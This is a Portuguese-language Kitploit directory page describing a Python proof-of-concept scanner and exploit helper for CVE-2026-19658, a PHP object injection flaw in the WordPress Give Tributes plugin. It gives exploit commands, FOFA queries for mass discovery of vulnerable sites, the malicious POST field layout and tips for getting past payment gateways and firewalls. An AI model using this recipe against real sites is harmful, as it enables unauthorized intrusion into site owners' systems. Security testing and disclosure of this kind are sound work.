Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-19658 — Verificador em Python 3 e auxiliar de exploit para CVE-2026-19658, uma falha de injeção de objeto PHP no WordPress Give Tributes, com descoberta de alvos via FOFA e exploração de formulários de doação legados. | Kitploit
Ferramentas/GitHubGitHub/murrez/cve-2026-19658
ReconhecimentoScanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoScripting e AutomaçãoExploração de Aplicações WebColeta de InformaçõesSegurança WebTestes de PenetraçãoDesenvolvimento de Payloads
15há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHub
murrez/cve-2026-19658

CVE-2026-19658

Verificador em Python 3 e auxiliar de exploit para CVE-2026-19658, uma falha de injeção de objeto PHP no WordPress Give Tributes, com descoberta de alvos via FOFA e exploração de formulários de doação legados.

Ver Repositório
Compartilhar

CVE-2026-19658 — Give Tributes Injeção de Objeto PHP Não Autenticada

Prova de conceito em Python 3 scanner e auxiliar de exploração da cadeia de doações para CVE-2026-19658 no add-on WordPress Give - Tributes (Liquid Web / GiveWP).

PlataformaPlugin WordPress (requer o núcleo GiveWP)
ComponenteGive - Tributes
Afetado≤ 2.3.1
Corrigido em2.3.1.1+ (campos de eCard multi-destinatário sanitizados)
CVSS9.8 Crítico
AutenticaçãoNão autenticado (formulário de doação legado)
CWECWE-502 — Desserialização de Dados Não Confiáveis
AtribuidorWordfence

Resumo

Quando Allow Multiple Recipients está habilitado para eCards e eCard custom message está desabilitado (padrão), versões vulneráveis armazenam dados de destinatário de eCard brutos de $_POST nos metadados da doação. A validação de campos do GiveWP usa uma cópia give_clean() de $_POST (strings serializadas são esvaziadas ali), mas insert_tribute_data() lê $_POST não sanitizado, então o first_name / last_name de um segundo destinatário pode conter um objeto serializado PHP.

Impacto: Nenhuma cadeia POP conhecida apenas dentro do Give Tributes. Os metadados são desserializados quando lidos (ex.: pré-visualização/reenvio de eCard no admin). RCE ou impacto destrutivo requer uma cadeia de gadgets de outro plugin ou tema instalado.

Pré-requisitos do lado do servidor

  1. Give Tributes ≤ 2.3.1
  2. Allow Multiple Recipients habilitado (global ou por formulário)
  3. eCard Custom Message desabilitado (padrão)
  4. Formulário Give legado público ([give_form] / v2), não apenas v3 Visual Form Builder
  5. Um gateway de pagamento que consiga completar uma doação no seu teste (frequentemente manual em dev/staging)

Requisitos

  • Python 3.8+
  • pip install -r requirements.txt

Início rápido

root@kitploit:~
pip install -r requirements.txt

# Alvo único — verificação (fluxo no terminal ativado por padrão para --list)
python poc.py -u https://target.example --mode check

# Verificação em massa
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# Alvo único — exploração (apenas alvos autorizados)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# Exploração em massa a partir da saída de verificação
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → lista de alvos

Exemplos:

root@kitploit:~
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

Lista de hosts (um domínio por linha):

root@kitploit:~
python poc.py --list my_hosts.txt --mode check --threads 20 --flow

Exportação CSV do FOFA:

root@kitploit:~
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

Opções de CLI

OpçãoDescrição
-u, --urlURL base única
--listLista de URLs, arquivo de hosts ou candidates.jsonl
--modecheck ou exploit
--form-urlCaminho da página de doação ou URL completa
--form-idID do post do formulário Give
--pathsCaminhos extras para rastrear formulários
--payloadObjeto serializado para o first_name do 2º destinatário
--gatewaypayment-mode do Give (padrão manual)
--emailgive_email do doador
--flowUma linha por alvo em execuções em massa (padrão com --list)
--no-flowApenas resumo de progresso
--quiet, -qSaída mínima no console
--threads, -jConcorrência em massa (padrão 12)
--outputLog JSONL (padrão cve_2026_19658_results.jsonl)
--vuln-listLinhas de acertos/explorados em texto (padrão hits.txt)
--candidates-listJSONL de metadados de verificação (padrão candidates.jsonl)

Use --vuln-list exploited.txt em execuções de exploração para que os acertos de verificação em hits.txt não sejam sobrescritos.

Arquivos de saída

ArquivoModoConteúdo
cve_2026_19658_results.jsonlambosJSON completo por alvo
hits.txtcheckURLs com exploitable_candidate
candidates.jsonlcheckbest_form, dicas de versão
exploited.txtexploiturl|payment=… quando a doação é confirmada

Valores de status da verificação

StatusSignificado
candidatePlugin vulnerável + Give + formulário legado com UI de tributes
vulnerable_no_formPlugin/versão OK, nenhum formulário adequado encontrado nos caminhos rastreados
patchedTributes > 2.3.1 ou ≥ 2.3.1.1 (quando a versão é legível)
give_onlyGive sem Tributes detectável
no_pluginTributes não detectado

A varredura remota não consegue ver de forma confiável "Allow Multiple Recipients"; candidatos ainda podem falhar no momento da exploração.

Notas de exploração

  • O PoC envia dois destinatários de eCard; o payload é o segundo campo first_name.
  • O gateway manual frequentemente está desabilitado em produção — tente gateways visíveis no formulário (stripe, paypal, test, …).
  • O sucesso requer marcadores de recibo do Give (não texto genérico de página contendo "thank you"). A mesma URL com o formulário ainda presente não é contada como sucesso.
  • give validation rejected donation: opções de tribute/notify, valor ou incompatibilidade de gateway.
  • HTTP 403: WAF (Sucuri, MalCare, etc.) bloqueando o POST.
  • Formulários apenas v3: use a URL do formulário legado ou pule (o processador rejeita IDs v3 no endpoint legado).

Estrutura do POST (formulário legado)

root@kitploit:~
give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

Estrutura do repositório

root@kitploit:~
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Listas de varredura locais e artefatos de execução (list.txt, fofa*.csv, *.jsonl, hits.txt, …) estão em .gitignore e não devem ser commitados.

Referências

  • NVD — CVE-2026-19658
  • Give Tributes readme (nota de correção 2.3.1.1)
  • Plugin GiveWP

Legal

Apenas para testes de segurança autorizados e educação. Você é responsável pela conformidade com as leis aplicáveis e regras do programa.

Baixar ferramenta